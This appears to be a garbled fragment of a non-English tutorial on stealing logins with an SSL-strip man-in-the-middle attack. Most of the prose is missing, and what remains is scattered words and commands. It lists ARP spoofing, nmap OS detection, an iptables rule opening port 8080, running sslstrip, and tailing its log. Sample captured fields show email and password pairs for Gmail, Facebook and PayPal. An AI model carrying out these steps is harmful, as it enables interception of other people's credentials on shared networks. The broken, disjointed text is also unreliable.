SSL strip
8.1 ARPspoof
8.1
IP
nmap -O
IP
8080 IP
8.1
ARPspoofing
.
8080
IP
DoS ARP spoofing
WiFi
iptables -I INPUT
1
1 linux
tcp --dport 8080 Input 1
8080
dport
IP -j ACCEPT
SSL strip
iptables -L INPUT
iptables -I INPUT 1 -p tcp -- dport 8080 -j ACCEPT
: : ACCEPT
80 webcach
sslstrip -l 8080
IP
SSL strip
enter 8080
enter tail -f sslstrip.log
sslstrip tail-f
log
8.1
8
tail
Gmail
fake Fake
HTTP
FAKE FAKE
email
passwd=FAKE email=FAKE
30%
HTTPS ...
HTTP
... FACEBOOK FACEBOOK
pass=FACEBOOK email=FACEBOOK
FACEBOOK FACEBOOK .
STONE123 STONE
s
..
HTTP
s
.PAYPAL PAYPAL
PAYPAL PAYPAL
password=PAYPAL email=PAYPAL
linux.org
linuxquestions.org
sslstrip
30%
s HTTPS